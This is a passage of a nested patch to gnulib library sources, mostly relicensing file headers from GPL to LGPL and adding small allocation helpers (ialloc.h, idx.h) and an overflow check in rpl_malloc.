++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/hard-locale.h
++++ b/gnulib/lib/hard-locale.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 1999, 2003-2004, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef HARD_LOCALE_H_
+--- /dev/null
++++ b/gnulib/lib/ialloc.c
+@@ -0,0 +1,21 @@
++/* malloc with idx_t rather than size_t
++
++ Copyright 2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++#include <config.h>
++
++#define IALLOC_INLINE _GL_EXTERN_INLINE
++#include "ialloc.h"
+--- /dev/null
++++ b/gnulib/lib/ialloc.h
+@@ -0,0 +1,94 @@
++/* ialloc.h -- malloc with idx_t rather than size_t
++
++ Copyright 2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++#ifndef IALLOC_H_
++#define IALLOC_H_
++
++#include "idx.h"
++
++#include <errno.h>
++#include <stdint.h>
++#include <stdlib.h>
++
++#ifndef _GL_INLINE_HEADER_BEGIN
++ #error "Please include config.h first."
++#endif
++_GL_INLINE_HEADER_BEGIN
++#ifndef IALLOC_INLINE
++# define IALLOC_INLINE _GL_INLINE
++#endif
++
++#ifdef __cplusplus
++extern "C" {
++#endif
++
++IALLOC_INLINE void * _GL_ATTRIBUTE_COLD
++_gl_alloc_nomem (void)
++{
++ errno = ENOMEM;
++ return NULL;
++}
++
++IALLOC_INLINE void *
++imalloc (idx_t s)
++{
++ return s <= SIZE_MAX ? malloc (s) : _gl_alloc_nomem ();
++}
++
++IALLOC_INLINE void *
++irealloc (void *p, idx_t s)
++{
++ /* Work around GNU realloc glitch by treating a zero size as if it
++ were 1, so that returning NULL is equivalent to failing. */
++ return s <= SIZE_MAX ? realloc (p, s | !s) : _gl_alloc_nomem ();
++}
++
++IALLOC_INLINE void *
++icalloc (idx_t n, idx_t s)
++{
++ if (SIZE_MAX < n)
++ {
++ if (s != 0)
++ return _gl_alloc_nomem ();
++ n = 0;
++ }
++ if (SIZE_MAX < s)
++ {
++ if (n != 0)
++ return _gl_alloc_nomem ();
++ s = 0;
++ }
++ return calloc (n, s);
++}
++
++IALLOC_INLINE void *
++ireallocarray (void *p, idx_t n, idx_t s)
++{
++ /* Work around GNU reallocarray glitch by treating a zero size as if
++ it were 1, so that returning NULL is equivalent to failing. */
++ if (n == 0 || s == 0)
++ n = s = 1;
++ return (n <= SIZE_MAX && s <= SIZE_MAX
++ ? reallocarray (p, n, s)
++ : _gl_alloc_nomem ());
++}
++
++#ifdef __cplusplus
++}
++#endif
++
++#endif
+--- /dev/null
++++ b/gnulib/lib/idx.h
+@@ -0,0 +1,114 @@
++/* A type for indices and sizes.
++ Copyright (C) 2020-2021 Free Software Foundation, Inc.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, see
++ <https://www.gnu.org/licenses/>. */
++
++#ifndef _IDX_H
++#define _IDX_H
++
++/* Get ptrdiff_t. */
++#include <stddef.h>
++
++/* Get PTRDIFF_MAX. */
++#include <stdint.h>
++
++/* The type 'idx_t' holds an (array) index or an (object) size.
++ Its implementation promotes to a signed integer type,
++ which can hold the values
++ 0..2^63-1 (on 64-bit platforms) or
++ 0..2^31-1 (on 32-bit platforms).
++
++ Why a signed integer type?
++
++ * Security: Signed types can be checked for overflow via
++ '-fsanitize=undefined', but unsigned types cannot.
++
++ * Comparisons without surprises: ISO C99 § 6.3.1.8 specifies a few
++ surprising results for comparisons, such as
++
++ (int) -3 < (unsigned long) 7 => false
++ (int) -3 < (unsigned int) 7 => false
++ and on 32-bit machines:
++ (long) -3 < (unsigned int) 7 => false
++
++ This is surprising because the natural comparison order is by
++ value in the realm of infinite-precision signed integers (ℤ).
++
++ The best way to get rid of such surprises is to use signed types
++ for numerical integer values, and use unsigned types only for
++ bit masks and enums.
++
++ Why not use 'size_t' directly?
++
++ * Because 'size_t' is an unsigned type, and a signed type is better.
++ See above.
++
++ Why not use 'ptrdiff_t' directly?
++
++ * Maintainability: When reading and modifying code, it helps to know that
++ a certain variable cannot have negative values. For example, when you
++ have a loop
++
++ int n = ...;
++ for (int i = 0; i < n; i++) ...
++
++ or
++
++ ptrdiff_t n = ...;
++ for (ptrdiff_t i = 0; i < n; i++) ...
++
++ you have to ask yourself "what if n < 0?". Whereas in
++
++ idx_t n = ...;
++ for (idx_t i = 0; i < n; i++) ...
++
++ you know that this case cannot happen.
++
++ Similarly, when a programmer writes
++
++ idx_t = ptr2 - ptr1;
++
++ there is an implied assertion that ptr1 and ptr2 point into the same
++ object and that ptr1 <= ptr2.
++
++ * Being future-proof: In the future, range types (integers which are
++ constrained to a certain range of values) may be added to C compilers
++ or to the C standard. Several programming languages (Ada, Haskell,
++ Common Lisp, Pascal) already have range types. Such range types may
++ help producing good code and good warnings. The type 'idx_t' could
++ then be typedef'ed to a range type that is signed after promotion. */
++
++/* In the future, idx_t could be typedef'ed to a signed range type.
++ The clang "extended integer types", supported in Clang 11 or newer
++ <https://clang.llvm.org/docs/LanguageExtensions.html#extended-integer-types>,
++ are a special case of range types. However, these types don't support binary
++ operators with plain integer types (e.g. expressions such as x > 1).
++ Therefore, they don't behave like signed types (and not like unsigned types
++ either). So, we cannot use them here. */
++
++/* Use the signed type 'ptrdiff_t'. */
++/* Note: ISO C does not mandate that 'size_t' and 'ptrdiff_t' have the same
++ size, but it is so on all platforms we have seen since 1990. */
++typedef ptrdiff_t idx_t;
++
++/* IDX_MAX is the maximum value of an idx_t. */
++#define IDX_MAX PTRDIFF_MAX
++
++/* So far no need has been found for an IDX_WIDTH macro.
++ Perhaps there should be another macro IDX_VALUE_BITS that does not
++ count the sign bit and is therefore one less than PTRDIFF_WIDTH. */
++
++#endif /* _IDX_H */
+--- a/gnulib/lib/intprops.h
++++ b/gnulib/lib/intprops.h
+@@ -3,16 +3,16 @@
+ Copyright (C) 2001-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2.1 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert. */
+@@ -133,7 +133,8 @@
+ operators might not yield numerically correct answers due to
+ arithmetic overflow. They do not rely on undefined or
+ implementation-defined behavior. Their implementations are simple
+- and straightforward, but they are a bit harder to use than the
++ and straightforward, but they are harder to use and may be less
++ efficient than the INT_<op>_WRAPV, INT_<op>_OK, and
+ INT_<op>_OVERFLOW macros described below.
+
+ Example usage:
+@@ -158,6 +159,9 @@
+ must have minimum value MIN and maximum MAX. Unsigned types should
+ use a zero MIN of the proper type.
+
++ Because all arguments are subject to integer promotions, these
++ macros typically do not work on types narrower than 'int'.
++
+ These macros are tuned for constant MIN and MAX. For commutative
+ operations such as A + B, they are also tuned for constant B. */
+
+@@ -339,9 +343,15 @@
+ arguments should not have side effects.
+
+ The WRAPV macros are not constant expressions. They support only
+- +, binary -, and *. Because the WRAPV macros convert the result,
+- they report overflow in different circumstances than the OVERFLOW
+- macros do.
++ +, binary -, and *.
++
++ Because the WRAPV macros convert the result, they report overflow
++ in different circumstances than the OVERFLOW macros do. For
++ example, in the typical case with 16-bit 'short' and 32-bit 'int',
++ if A, B and R are all of type 'short' then INT_ADD_OVERFLOW (A, B)
++ returns false because the addition cannot overflow after A and B
++ are converted to 'int', whereas INT_ADD_WRAPV (A, B, &R) returns
++ true or false depending on whether the sum fits into 'short'.
+
+ These macros are tuned for their last input argument being a constant.
+
+--- a/gnulib/lib/inttypes.in.h
++++ b/gnulib/lib/inttypes.in.h
+@@ -2,17 +2,17 @@
+ Written by Paul Eggert, Bruno Haible, Derek Price.
+ This file is part of gnulib.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /*
+--- a/gnulib/lib/iswblank.c
++++ b/gnulib/lib/iswblank.c
+@@ -1,18 +1,18 @@
+ /* Test wide character for being blank.
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/iswdigit.c
++++ b/gnulib/lib/iswdigit.c
+@@ -1,18 +1,18 @@
+ /* Test wide character for being a digit.
+ Copyright (C) 2020-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/iswxdigit.c
++++ b/gnulib/lib/iswxdigit.c
+@@ -1,18 +1,18 @@
+ /* Test wide character for being a hexadecimal digit.
+ Copyright (C) 2020-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/itold.c
++++ b/gnulib/lib/itold.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2011.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/langinfo.in.h
++++ b/gnulib/lib/langinfo.in.h
+@@ -1,18 +1,18 @@
+ /* Substitute for and wrapper around <langinfo.h>.
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /*
+ * POSIX <langinfo.h> for platforms that lack it or have an incomplete one.
+--- a/gnulib/lib/lc-charset-dispatch.c
++++ b/gnulib/lib/lc-charset-dispatch.c
+@@ -1,17 +1,17 @@
+ /* Dispatching based on the current locale's character encoding.
+ Copyright (C) 2018-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2018. */
+--- a/gnulib/lib/lc-charset-dispatch.h
++++ b/gnulib/lib/lc-charset-dispatch.h
+@@ -1,17 +1,17 @@
+ /* Dispatching based on the current locale's character encoding.
+ Copyright (C) 2018-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2018. */
+--- a/gnulib/lib/libc-config.h
++++ b/gnulib/lib/libc-config.h
+@@ -3,16 +3,16 @@
+ Copyright 2017-2021 Free Software Foundation, Inc.
+
+ This program is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with this program; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+@@ -28,7 +28,10 @@
+
+ When compiled as part of glibc this is a no-op; when compiled as
+ part of Gnulib this includes Gnulib's <config.h> and defines macros
+- that glibc library code would normally assume. */
++ that glibc library code would normally assume.
++
++ Note: This header file MUST NOT be included by public header files
++ of Gnulib. */
+
+ #include <config.h>
+
+@@ -71,7 +74,7 @@
+ # endif
+ #endif
+
+-#ifndef __attribute_maybe_unused__
++#ifndef __attribute_nonnull__
+ /* <sys/cdefs.h> either does not exist, or is too old for Gnulib.
+ Prepare to include <cdefs.h>, which is Gnulib's version of a
+ more-recent glibc <sys/cdefs.h>. */
+@@ -80,13 +83,9 @@
+ # ifndef _FEATURES_H
+ # define _FEATURES_H 1
+ # endif
+-/* Define __WORDSIZE so that <cdefs.h> does not attempt to include
+- nonexistent files. Make it a syntax error, since Gnulib does not
+- use __WORDSIZE now, and if Gnulib uses it later the syntax error
+- will let us know that __WORDSIZE needs configuring. */
+-# ifndef __WORDSIZE
+-# define __WORDSIZE %%%
+-# endif
++/* Define __GNULIB_CDEFS so that <cdefs.h> does not attempt to include
++ nonexistent files. */
++# define __GNULIB_CDEFS
+ /* Undef the macros unconditionally defined by our copy of glibc
+ <sys/cdefs.h>, so that they do not clash with any system-defined
+ versions. */
+--- a/gnulib/lib/limits.in.h
++++ b/gnulib/lib/limits.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright 2016-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public License
+- as published by the Free Software Foundation; either version 3, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+--- a/gnulib/lib/localcharset.c
++++ b/gnulib/lib/localcharset.c
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2000-2006, 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+
+--- a/gnulib/lib/localcharset.h
++++ b/gnulib/lib/localcharset.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 2000-2003, 2009-2021 Free Software Foundation, Inc.
+ This file is part of the GNU CHARSET Library.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _LOCALCHARSET_H
+ #define _LOCALCHARSET_H
+--- a/gnulib/lib/locale.in.h
++++ b/gnulib/lib/locale.in.h
+@@ -1,17 +1,17 @@
+ /* A POSIX <locale.h>.
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+--- a/gnulib/lib/localeconv.c
++++ b/gnulib/lib/localeconv.c
+@@ -1,17 +1,17 @@
+ /* Query locale dependent information for formatting numbers.
+ Copyright (C) 2012-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/malloc.c
++++ b/gnulib/lib/malloc.c
+@@ -2,61 +2,50 @@
+
+ Copyright (C) 1997-1998, 2006-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* written by Jim Meyering and Bruno Haible */
+
+ #define _GL_USE_STDLIB_ALLOC 1
+ #include <config.h>
+-/* Only the AC_FUNC_MALLOC macro defines 'malloc' already in config.h. */
+-#ifdef malloc
+-# define NEED_MALLOC_GNU 1
+-# undef malloc
+-/* Whereas the gnulib module 'malloc-gnu' defines HAVE_MALLOC_GNU. */
+-#elif GNULIB_MALLOC_GNU && !HAVE_MALLOC_GNU
+-# define NEED_MALLOC_GNU 1
+-#endif
+
+ #include <stdlib.h>
+
+-/* A function definition is only needed if NEED_MALLOC_GNU is defined above
+- or if the module 'malloc-posix' requests it. */
+-#if NEED_MALLOC_GNU || (GNULIB_MALLOC_POSIX && !HAVE_MALLOC_POSIX)
++#include <errno.h>
+
+-# include <errno.h>
++#include "xalloc-oversized.h"
+
+-/* Allocate an N-byte block of memory from the heap.
+- If N is zero, allocate a 1-byte block. */
++/* Allocate an N-byte block of memory from the heap, even if N is 0. */
+
+ void *
+ rpl_malloc (size_t n)
+ {
+- void *result;
+-
+-# if NEED_MALLOC_GNU
+ if (n == 0)
+ n = 1;
+-# endif
+
+- result = malloc (n);
++ if (xalloc_oversized (n, 1))
++ {
++ errno = ENOMEM;
++ return NULL;
++ }
++
++ void *result = malloc (n);
+
+-# if !HAVE_MALLOC_POSIX
++#if !HAVE_MALLOC_POSIX
+ if (result == NULL)
+ errno = ENOMEM;
+-# endif
++#endif
+
+ return result;
+ }
+-
+-#endif
+--- a/gnulib/lib/malloc/dynarray-skeleton.c
++++ b/gnulib/lib/malloc/dynarray-skeleton.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray.h
++++ b/gnulib/lib/malloc/dynarray.h
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
